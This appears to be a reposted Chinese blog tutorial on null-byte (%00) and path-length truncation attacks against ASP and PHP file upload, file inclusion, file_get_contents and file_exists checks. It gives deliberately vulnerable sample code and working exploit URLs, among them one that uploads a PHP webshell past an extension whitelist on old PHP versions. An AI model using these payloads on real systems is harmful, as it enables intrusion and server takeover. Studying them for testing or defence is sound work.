%00截断攻击的探索

来源:互联网 发布:家具设计软件 编辑:程序博客网 时间:2024/06/05 04:08
首先先来看一个简单的asp实例
[plain] view plain copy
  1. <%  
  2.     username = request("username")  
  3.     Response.write username  
  4. %>  
这段代码从URL处获得参数username的值,然后显示在页面中。

可见%00之后的内容没有保存到变量中。
[html] view plain copy
  1. <html>  
  2. <head>  
  3. <meta http-equiv="Content-Language" content="zh-cn">  
  4. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">  
  5. <title>文件上传</title>  
  6. </head>  
  7.   
  8.   
  9. <body>  
  10. <form method="POST" action="SaveFile.asp">  
  11. 文件上传:<input type="file" name="file" size="42"> <input type="submit" value="提交" name="bb">  
  12. </form>  
  13. </body>  
  14. </html>  

[plain] view plain copy
  1. <%  
  2. dim file,filename,houzui  
  3. file = Request.Form("file")  
  4. response.write "文件名:"&file  
  5. response.write "<br>"  
  6. houzui=mid(file,InStrRev(file, "."))  
  7. response.write "后缀名:"&houzui  
  8. response.write "<br>"  
  9. if houzui=".gif" or houzui=".jpg" or houzui=".bmp" then   
  10.     '允许上传的文件类型  
  11.     response.write "图片上传成功"  
  12. else  
  13.     response.write "不允许上传" & houzui & "的格式"  
  14. end if  
  15. %>  
下面在网站中直接上传asp程序

可见网站阻止上传
利用Burp工具来实现0x00的截断,首先上传ma1.asp[空格]1.jpg获取到上传请求,随后点击action,并选择Send to Repeater

在Repeater选项卡中点击要更改的字节,(该网站将空格变为了+),将表示+的0x2b改为0x00,


然后点击Go,返回到proxy中,查看hex可见更改已经起效。


放行此请求,结果显示

通过上面的结果可知当asp代码file = Request.Form("file")得到文件名时,0x00之后的内容已经被删除了。
所以如果想利用0x00来达到攻击的目的,相应的网站代码也必须是存在截断上传漏洞的,而此例中的代码不具有此漏洞。

类似的来看看php中的情况
[html] view plain copy
  1. <html>  
  2. <head>  
  3. <meta http-equiv="Content-Language" content="zh-cn">  
  4. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">  
  5. <title>文件上传</title>  
  6. </head>  
  7.   
  8.   
  9. <body>  
  10. <form   
  11. method="POST" action="SaveFile.php">  
  12. 文件上传:<input type="file" name="file" size="42"> <input type="submit" value="提交" name="submit">  
  13. </form>  
  14. </body>  
  15. </html>  

[php] view plain copy
  1. <?php  
  2.     $WhiteList = array('rar','jpg','png','bmp','gif','jpg','doc');  
  3.     if (isset($_POST["submit"])){  
  4.         $name = $_FILES['file']['name']; //接收文件名  
  5.         echo $name;  
  6.         $extension = substr(strrchr($name,"."),1);//得到扩展名  
  7.         $boo = false;  
  8.           
  9.         foreach ($WhiteList as $key=>$value){  
  10.             if ($value==$extension){//迭代判断是否有命中  
  11.                 $boo=true;  
  12.             }  
  13.         }  
  14.           
  15.         if($boo){//如果有命中,则开始文件上传操作  
  16.             $size=$_FILES['file']['size'];//接收文件大小  
  17.             $tmp=$_FILES['file']['tmp_name'];//临时路径  
  18.             move_uploaded_file($tmp,$name);//移动临时文件到当前文件目录  
  19.             echo "文件上传成功!<br/> path:".$name;  
  20.         }else {  
  21.             echo "文件不合法!!";  
  22.         }  
  23.           
  24.     }  
  25. ?>  
过程和asp的类似
上传ma2.php 1.jpg

在repeater中更改相应的字节 0x20->0x00

回头在看proxy中相应的字节已经被更改

最终显示的结果是

可见$_FILES['file']['name']在得到文件名时0x00之后的内容已经不见了,如果在此基础上判断后缀名是否合法,则肯定不能通过。

综上所述,0x00不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截断上传漏洞。


 转自    http://blog.csdn.net/hitwangpeng/article/details/47042971



截断在文件包含和上传中的利用

 截断大概可以在以下情况适用
include(require)
file_get_contents
file_exists
所有url中参数可以用%00控制

0x01. 本地文件包含

1.1 截断类型:php %00截断

截断条件:

php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态

漏洞文件lfi.php

<?php  $temp = $_REQUEST['action'].".php";  include $temp; // include造成了LFI和php的%00截断 ?> 

要include的password文件

Password  <?php  phpinfo();  ?> 

 

利用代码:lfi.php?action=password%00

注意:url正宗%00是被会url解码成0x00,所以可能导致截断。

加载中...

password文件被成功包含并且执行phpinfo()函数。

如果没有截断条件,lfi.php就只能包含php扩展名的文件。

相反,如果有截断条件,lfi.php可以包含任意文件的扩展名。

当把magic_quotes_gpc打开,php版本依然是5.2.9时,再测试,结果%00被转义成了\0两个单体字符,不再具有截断功能。

原因是:当打开magic_quotes_gpc时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL字符(%00)都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()mysql_real_escape_string()

当把magic_quotes_gpc关闭,php版本依然是5.3.10时,依然不能截断。所以证明,php版本和gpc两个条件都必须满足,才能截断。

除了上面的include、require、include_once、require_once还有file_get_contents也能配合php %00利用。

FileGetContents.php

?
1
2
3
4
5
<?php
$file = $_GET['file'].'PNG';
$contents =  file_get_contents($file);
file_put_contents('put.txt', $contents);
?>

利用方式:

http://www.victim.com/FileGetContents.php?file=password%00

此时可以看到当前目录put.txt是上面password中的内容。

?
1
2
3
4
5
6
7
Password
 
<?php
 
phpinfo();
 
?>

1.2 文件路径长度截断

除了1.1说的%00可以截断,还可以用字符.或者/.,或者./(注意顺序)来截断,不能纯用/,至于为什么,不能用其他字符,想必应该和php实现有关。

系统文件路径长度限制:

windows 259个bytes
linux 4096个bytes

 

具体可以看这篇文章:http://joychou.org/index.php/Misc/filename-length-limit-on-windows-linux.html

截断条件:

php版本为5.3.4以下(具体哪个版本不是很清楚,乌云上kukki写的5.2.8以下,这明显是不对的,因为我测试用的5.2.9)
GPC是否开启没关系

漏洞代码lfi.php,和1.1中的lfi.php一样

?
1
2
3
4
5
<?php
$temp = $_REQUEST['action'].".php";
include $temp;
echo $temp;
?>

在windows下需要.字符最少的利用POC:

lfi.php?action=password..............................................................................................................................................................................................................................................` 

成功包含,执行password里面的phpinfo函数

 

加上根目录路径一共为258个字节。所以需要的最少的.数为
258 - (lfi.php文件的路径长度即C:/wamp/www/+strlen('password'))

 

或者用./截断,最短的POC为,并且最短路径长度为258

lfi.php?action=password./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ 

将password文件名改为password123后,最短的POC为,最短路径长度依然为258

lfi.php?password123/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ 

注意这两者一个是/开始,一个是.开始,这和路径长度的奇偶有关系,真正遇到这样的情况,就丢很长的/.,最后再跳整下第一个/或者.即可。

linux就自行测试吧。

0x02. 文件上传

截断类型:php的%00截断。所以截断的条件依然是php %00截断的条件

php版本5.3.4以下
gpc关闭

测试环境:

php版本5.2.9
gpc关闭

漏洞代码 upload.php

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<html>
<body>
 
<h2> File Upload Vulnerability </h2>
<form action=""method="post"enctype="multipart/form-data">
<label>文件:</label>
<input type="file"name = "file">   <!-- 选择文件,第二个name是file类型的名字,php中$_FILES第一个参数-->
<input type="submit"value="submit"name = "upload">
</form>
 
</body>
</html>
 
 
<?php
error_reporting(0);
 
if(isset($_POST['upload']))
{
    $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
    $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr))
    {
        $tempFile = $_FILES['file']['tmp_name'];
        // 这句话的$_REQUEST['jieduan']造成可以利用截断上传
        $targetPath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10,99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($tempFile,$targetPath))
        {
            echo'上传成功'.'<br>';
            echo'路径:'.$targetPath;
        }
        else
        {
            echo("上传失败");
        }
 
    }
else
{
    echo("上传失败");
}
 
}
 
?>

 

这个漏洞代码是我YY的,可能实际情况不一定能够用上。只是证明截断可以达到上传的功能。

先将一个php木马重命名为上面扩展名为白名单的后缀,比如.jpg

访问:http://www.victim.com/upload.php?jieduan=xxoo.php%00

点击submit按钮,就在server上生成了一个xxoo.php的马。

0x03. file_exists判断文件是否存在

file_exists在判断文件存在的时候也有被截断的现象。

截断条件:

php版本小于5.3.4
GPC关闭状态

漏洞代码如下,和CVE-2014-8959 phpmyadmin的这个漏洞一样。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
 
$file = $_GET['file'];
 
$filename = $file . '.php';
echo $filename . '<br>';
if(! file_exists($filename)){
    echo'not exist';
}
 
else{
    include_once($filename);
    echo'exist';
}
?>

 

当前目录存在一个shell.jpg文件,此时访问?file=shell.jpg%00,返回结果是文件存在。

有一个小技巧:

当上面文件第五行变成$filename = 'xxoo' . $file . '.php';,如果仍然要用shell.jpg,那么只需这样构造:?file=/../shell.jpg%00,利用/../回到当前目录。

在php中一些目录切换

../表示上一层目录
./表示当前目录
/单独使用不能表示当前目录,只用xx/这样才能表示xx这个目录

0 0
原创粉丝点击